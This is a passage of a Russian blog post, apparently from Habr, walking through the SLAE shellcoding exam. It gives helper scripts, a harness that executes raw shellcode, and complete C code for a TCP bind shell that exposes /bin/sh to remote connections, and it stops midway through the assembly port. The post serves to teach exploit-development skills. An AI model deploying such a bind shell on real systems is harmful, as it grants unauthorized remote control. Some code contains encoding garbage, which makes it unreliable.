{"id":300421,"date":"2020-03-20T03:00:09","date_gmt":"2020-03-20T03:00:09","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=300421"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=300421","title":{"rendered":"SLAE \u2014 Security Linux Assembly Expert Exam"},"content":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\" data-io-article-url=\"https:\/\/habr.com\/ru\/company\/dsec\/blog\/488416\/\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/nj\/sc\/fb\/njscfbnkoirqggp_ns8h9upvies.png\" alt=\"image\"><\/p>\n<p>  Security Linux Assembly Expert \u2014 \u043e\u043d\u043b\u0430\u0439\u043d-\u043a\u0443\u0440\u0441 \u0438 \u044d\u043a\u0437\u0430\u043c\u0435\u043d \u043f\u043e \u043e\u0441\u043d\u043e\u0432\u0430\u043c 32-\u0431\u0438\u0442\u043d\u043e\u0433\u043e \u044f\u0437\u044b\u043a\u0430 \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 Intel \u0432 Linux-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0443\u0440\u0441 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440\u0430\u043c, \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0430\u043c \u043f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u0441\u0435\u043c, \u043a\u0442\u043e \u0436\u0435\u043b\u0430\u0435\u0442 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u0445 \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0430 \u0438 \u043d\u0430\u0443\u0447\u0438\u0442\u044c\u0441\u044f \u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u044b. \u041f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043a\u0443\u0440\u0441\u0430 \u0432\u044b \u043d\u0430\u0443\u0447\u0438\u0442\u0435\u0441\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c\u0438 \u0432\u044b\u0437\u043e\u0432\u0430\u043c\u0438 Linux&#8217;a, \u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u044b, \u043d\u0430\u0447\u043d\u0435\u0442\u0435 \u043f\u043e\u043d\u0438\u043c\u0430\u0442\u044c \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u044b \u0440\u0430\u0431\u043e\u0442\u044b \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430. \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u044b \u0437\u0430\u0434\u0430\u043d\u0438\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u044d\u043a\u0437\u0430\u043c\u0435\u043d\u0430 \u043f\u043e \u044d\u0442\u043e\u043c\u0443 <a href=\"http:\/\/securitytube-training.com\/online-courses\/securitytube-linux-assembly-expert\/\">\u043a\u0443\u0440\u0441\u0443<\/a>. <\/p>\n<p>  \u041f\u043e \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c \u044d\u043a\u0437\u0430\u043c\u0435\u043d\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c 7 \u0437\u0430\u0434\u0430\u043d\u0438\u0439:<\/p>\n<ol>\n<li>\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c TCP Bind Shell<\/li>\n<li>\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c Reverse TCP Shell<\/li>\n<li>\u0420\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0441 \u0442\u0435\u0445\u043d\u0438\u043a\u043e\u0439 egghunter \u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440 \u044d\u0442\u043e\u0439 \u0442\u0435\u0445\u043d\u0438\u043a\u0438<\/li>\n<li>\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0449\u0438\u043a \u043a\u043e\u0434\u0430<\/li>\n<li>\u041f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c 3 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430, \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 msfvenom&#8217;\u043e\u043c \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 GDB\/ndisasm\/libemu<\/li>\n<li>\u0412\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u043e\u043b\u0438\u043c\u043e\u0440\u0444\u043d\u043e\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 3 \u043b\u044e\u0431\u044b\u0445 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u043e\u0432 \u0438 shellstorm&#8217;\u0430.<\/li>\n<li>\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a \u043a\u043e\u0434\u0430<\/li>\n<\/ol>\n<p><a name=\"habracut\"><\/a><br \/>  \u041a\u0430\u0436\u0434\u043e\u0435 \u0438\u0437 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u043e\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0442\u0430\u043a\u0436\u0435 \u0436\u0435\u043b\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430\u0434 \u043d\u0438\u043c\u0438. \u041d\u0430\u0447\u043d\u0435\u043c \u0441 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438.<\/p>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430<\/h3>\n<p>  \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u2014 \u043d\u0430\u0448\u0435 \u0432\u0441\u0451, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u0437\u0430\u0434\u0430\u043d\u0438\u044f\u043c, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u043f\u0440\u0438 \u043e\u0441\u0432\u043e\u0435\u043d\u0438\u0438 \u043a\u0443\u0440\u0441\u0430 \u0438 \u0441\u0434\u0430\u0447\u0435 \u044d\u043a\u0437\u0430\u043c\u0435\u043d\u0430. \u041e\u043d\u0438 \u043f\u043e\u043c\u043e\u0433\u0443\u0442 \u0441\u044d\u043a\u043e\u043d\u043e\u043c\u0438\u0442\u044c \u0432\u0440\u0435\u043c\u044f \u0438 \u0441\u0438\u043b\u044b.<\/p>\n<p>  <b>nasm32.sh<\/b>  <\/p>\n<pre><code class=\"bash\">#!\/bin\/bash  if [ -z $1 ]; then   echo &quot;Usage .\/nasm32 &lt;nasmMainFile&gt; (no extension)&quot;   exit fi  if [ ! -e &quot;$1.asm&quot; ]; then   echo &quot;Error, $1.asm not found.&quot;   echo &quot;Note, do not enter file extensions&quot;   exit fi  nasm -f elf $1.asm -o $1.o ld -m elf_i386 -o $1 $1.o<\/code><\/pre>\n<p>  \u042d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0431\u044b\u0441\u0442\u0440\u043e\u0439 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0438 \u043b\u0438\u043d\u043a\u043e\u0432\u043a\u0438 .asm \u0444\u0430\u0439\u043b\u043e\u0432.<\/p>\n<p>  <b>popcode.sh<\/b>  <\/p>\n<pre><code class=\"bash\">#!\/bin\/bash  target=$1  objdump -D -M intel &quot;$target&quot; | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\\t' ' ' | sed 's\/ $\/\/g' | sed 's\/ \/\\\\x\/g' | paste -d '' -s<\/code><\/pre>\n<p>  \u042d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u0432\u043e\u0434\u0430 \u043d\u0430 \u043f\u0435\u0447\u0430\u0442\u044c \u043a\u043e\u0434\u0430 \u0432 hex-\u0444\u043e\u0440\u043c\u0430\u0442\u0435, \u043f\u0440\u0438\u0447\u0451\u043c \u043f\u0435\u0440\u0435\u0434 \u043a\u0430\u0436\u0434\u044b\u043c \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u043c \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043d\u0430 \u043f\u0435\u0447\u0430\u0442\u044c &quot;\\x&quot;. \u042d\u0442\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u043d\u0430\u0448\u0435\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0432 C-\u0444\u0430\u0439\u043b.<\/p>\n<p>  <b>hexopcode.sh<\/b>  <\/p>\n<pre><code class=\"bash\">#!\/bin\/bash  target=$1  objdump -D -M intel &quot;$target&quot; | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\\t' ' ' | sed 's\/ $\/\/g' | sed 's\/ \/\\\\x\/g' | paste -d '' -s | sed -e 's!\\\\x!!g'<\/code><\/pre>\n<p>  \u0417\u0434\u0435\u0441\u044c \u0432\u0441\u0451 \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435, \u0447\u0442\u043e \u0438 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u0432\u044b\u0448\u0435, \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u043f\u0435\u0447\u0430\u0442\u044c \u043a\u043e\u0434 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0431\u0435\u0437 &quot;\\x&quot;. \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 hex-\u043a\u043e\u0434\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u0443.<\/p>\n<p>  <b>hex2stack.py<\/b>  <\/p>\n<pre><code class=\"python\">#!\/usr\/bin\/python3 # -*- coding: utf-8 -*-  import sys  if __name__ == '__main__': \tif len(sys.argv) != 2: \t\tprint(&quot;Enter opcode in hex&quot;) \t\tsys.exit(0)  \tstring = sys.argv[1]  \treversed = [string[i:i+2] for i in range(0,len(string),2)][::-1]  \tl = len(reversed) % 4 \tif l: \t\tprint(&quot;\\tpush 0x&quot; + ^_^quotZquot^_^*(4-l) + &quot;&quot;.join(reversed[0:l]))  \tfor p in range(l, len(reversed[l:]), 4): \t\tprint(&quot;\\tpush 0x&quot; + &quot;&quot;.join(reversed[p:p+4]))<\/code><\/pre>\n<p>  \u0427\u0442\u043e\u0431\u044b \u0431\u044b\u043b\u043e \u043b\u0435\u0433\u043a\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441 \u043a\u043e\u0434\u043e\u043c, \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432 \u0441\u0442\u0435\u043a. \u0412 \u0441\u0442\u0435\u043a \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u044e\u0442\u0441\u044f \u0432 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b <i>push<\/i>. \u0421\u043a\u0440\u0438\u043f\u0442 \u0432\u044b\u0448\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u0443\u0435\u0442 hex-\u0441\u0442\u0440\u043e\u043a\u0443 \u0434\u043b\u044f \u043f\u043e\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0435\u0451 \u0432 \u0441\u0442\u0435\u043a.<\/p>\n<p>  <i>\u041f\u0440\u0438\u043c\u0435\u0440:<\/i><\/p>\n<pre><code class=\"plaintext\">$.\/stack_shell.py 31c0506a68682f626173682f62696e89e35089c25389e1b00bcd80 \tpush 0x9080cd0b \tpush 0xb0e18953 \tpush 0xc28950e3 \tpush 0x896e6962 \tpush 0x2f687361 \tpush 0x622f6868 \tpush 0x6a50c031<\/code><\/pre>\n<p>  <b>uscompile.sh<\/b>  <\/p>\n<pre><code class=\"bash\">#!\/bin\/bash  if [ -z $1 ]; then   echo &quot;Usage .\/compile &lt;cFile&gt; (no extension)&quot;   exit fi  if [ ! -e &quot;$1.c&quot; ]; then   echo &quot;Error, $1.c not found.&quot;   echo &quot;Note, do not enter file extensions&quot;   exit fi  gcc -masm=intel -m32 -ggdb -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o $1 $1.c<\/code><\/pre>\n<p>  \u0414\u0430\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442 C-\u0444\u0430\u0439\u043b \u0441 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u0441\u0442\u0435\u043a\u0430. \u0417\u0430\u0449\u0438\u0442\u0443 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u0432 \u0443\u0447\u0435\u0431\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445.<\/p>\n<p>  <b>shellcode.c<\/b>  <\/p>\n<pre><code class=\"cpp\">#include&lt;stdio.h&gt; #include&lt;string.h&gt;  unsigned char code[] = &quot;&quot;;  int main() {         printf(&quot;Shellcode Length:  %d\\n&quot;, strlen(code));         int (*ret)() = (int(*)())code;         ret(); }<\/code><\/pre>\n<p>  \u0421\u0430\u043c C-\u0444\u0430\u0439\u043b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u043c \u043d\u0430\u0448 \u0448\u0435\u043b\u043b\u043a\u043e\u0434.<\/p>\n<h3>\u0417\u0430\u0434\u0430\u043d\u0438\u044f<\/h3>\n<p>  <\/p>\n<h4>1. \u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c TCP bind shell<\/h4>\n<p>  \u041c\u044b \u0431\u0443\u0434\u0435\u043c \u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0430\u043c\u044b\u0439 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 TCP-bind \u0448\u0435\u043b\u043b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439:<\/p>\n<ol>\n<li>\u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0441\u043e\u043a\u0435\u0442 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 socket(), \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u043d\u0430\u043c \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u0434\u0430\u043d \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440 \u0441\u043e\u043a\u0435\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0437 \u0441\u0435\u0431\u044f \u0447\u0438\u0441\u043b\u043e;<\/li>\n<li>\u0414\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043a\u0435\u0442\u0430 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u2014 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b, \u0430\u0434\u0440\u0435\u0441, \u0433\u0434\u0435 \u043e\u043d \u0431\u0443\u0434\u0435\u0442 \u00ab\u0441\u043b\u0443\u0448\u0430\u0442\u044c\u00bb, \u043f\u043e\u0440\u0442 \u2014 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432 bind(), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442 \u043d\u0430\u0448 \u0441\u043e\u043a\u0435\u0442 \u043a \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c;<\/li>\n<li>\u0417\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432 listen() \u2014 \u0441\u043e\u043a\u0435\u0442 \u00ab\u0441\u043b\u0443\u0448\u0430\u0435\u0442\u00bb \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f;<\/li>\n<li>\u041f\u0440\u043e\u0441\u0442\u043e \u0441\u043b\u0443\u0448\u0430\u0442\u044c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043c\u0430\u043b\u043e, \u0438\u0445 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u044c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u2014 accept();<\/li>\n<li>\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043a\u043b\u0438\u0435\u043d\u0442 \u043a \u043d\u0430\u043c \u043f\u043e\u0434\u0441\u043e\u0435\u0434\u0438\u043d\u0438\u043b\u0441\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u044b \u0432\u0432\u043e\u0434\u0430, \u0432\u044b\u0432\u043e\u0434\u0430 \u0438 \u043e\u0448\u0438\u0431\u043e\u043a \u043a\u043b\u0438\u0435\u043d\u0442\u0443: \u043f\u0440\u043e\u0434\u0443\u0431\u043b\u0438\u0440\u0443\u0435\u043c \u0438\u0445 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 dup2();<\/li>\n<li>\u0418 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435: \u0432\u044b\u0437\u043e\u0432\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u0441\u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b.<\/li>\n<\/ol>\n<p>  \u041f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0435, \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u044b\u0448\u0435\u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u043d\u0430 \u0421.<\/p>\n<pre><code class=\"cpp\">#include &lt;sys\/socket.h&gt; #include &lt;sys\/types.h&gt; #include &lt;stdlib.h&gt; #include &lt;unistd.h&gt; #include &lt;netinet\/in.h&gt; #include &lt;stdio.h&gt;  int main(void) {     int clientfd, sockfd;     int port = 1234;     struct sockaddr_in mysockaddr;      \/\/ AF_INET - IPv4, SOCK_STREAM - TCP, 0 - most suitable protocol     \/\/ AF_INET = 2, SOCK_STREAM = 1     \/\/ create socket, save socket file descriptor in sockfd variable     sockfd = socket(AF_INET, SOCK_STREAM, 0);      \/\/ fill structure     mysockaddr.sin_family = AF_INET; \/\/ can be represented in numeric as 2     mysockaddr.sin_port = htons(port);     \/\/mysockaddr.sin_addr.s_addr = INADDR_ANY;\/\/ can be represented in numeric as 0 which means to bind to all interfaces     mysockaddr.sin_addr.s_addr = inet_addr(&quot;192.168.0.106&quot;);     \/\/ size of this array is 16 bytes     \/\/printf(&quot;size of mysockaddr: %lu\\n&quot;, sizeof(mysockaddr));     \/\/ executing bind() call     bind(sockfd, (struct sockaddr *) &mysockaddr;, sizeof(mysockaddr));     \/\/ listen()     listen(sockfd, 1);     \/\/ accept()     clientfd = accept(sockfd, NULL, NULL);     \/\/ duplicate standard file descriptors in client file descriptor     dup2(clientfd, 0);     dup2(clientfd, 1);     dup2(clientfd, 2);     \/\/ and last: execute \/bin\/sh. All input and ouput of \/bin\/sh will translated via TCP connection     char * const argv[] = {&quot;sh&quot;,NULL, NULL};     execve(&quot;\/bin\/sh&quot;, argv, NULL);     return 0; }<\/code><\/pre>\n<p>  \u0412\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0442\u0438 \u043d\u0430\u0448 \u043a\u043e\u0434 \u043d\u0430 \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440. \u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u0438\u043c\u0430\u0442\u044c, \u043a\u0430\u043a\u0438\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0437\u043e\u0432 \u0438 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u043f\u043e \u043d\u0438\u043c: man &lt;\u0432\u044b\u0437\u043e\u0432&gt;. \u0418\u043d\u043e\u0433\u0434\u0430 \u0443 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u043c\u0435\u043d\u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u044b\u0445 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432. \u0412\u044b\u0432\u0435\u0441\u0442\u0438 \u0441\u043f\u0438\u0441\u043e\u043a \u0432\u0441\u0435\u0445 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445: apropos &lt;\u0432\u044b\u0437\u043e\u0432&gt;. \u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e:<br \/>  man &lt;\u043d\u043e\u043c\u0435\u0440 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0449\u0435\u0433\u043e \u043d\u0430\u0441 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430&gt; &lt;\u0432\u044b\u0437\u043e\u0432&gt;.<\/p>\n<p>  <b>0. \u041f\u043e\u0434\u0433\u043e\u0442\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b<\/b><br \/>  \u041d\u0430\u043c \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0445 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u043d\u0430\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043d\u0438\u043c\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0431\u043d\u0443\u043b\u0438\u043c \u0438\u0445:<\/p>\n<pre><code class=\"plaintext\">\tsection .text global _start  _start: \txor eax, eax \txor ebx, ebx \txor esi, esi<\/code><\/pre>\n<p>  <b>1. \u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0441\u043e\u043a\u0435\u0442<\/b><br \/>  \u0412 x86 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u0430\u0445 \u043d\u0435\u0442 \u043f\u0440\u044f\u043c\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 socket(). \u0412\u0441\u0435 \u0432\u044b\u0437\u043e\u0432\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u043a\u043e\u0441\u0432\u0435\u043d\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u043c\u0435\u0442\u043e\u0434 socketcall(). \u0414\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 2 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430: 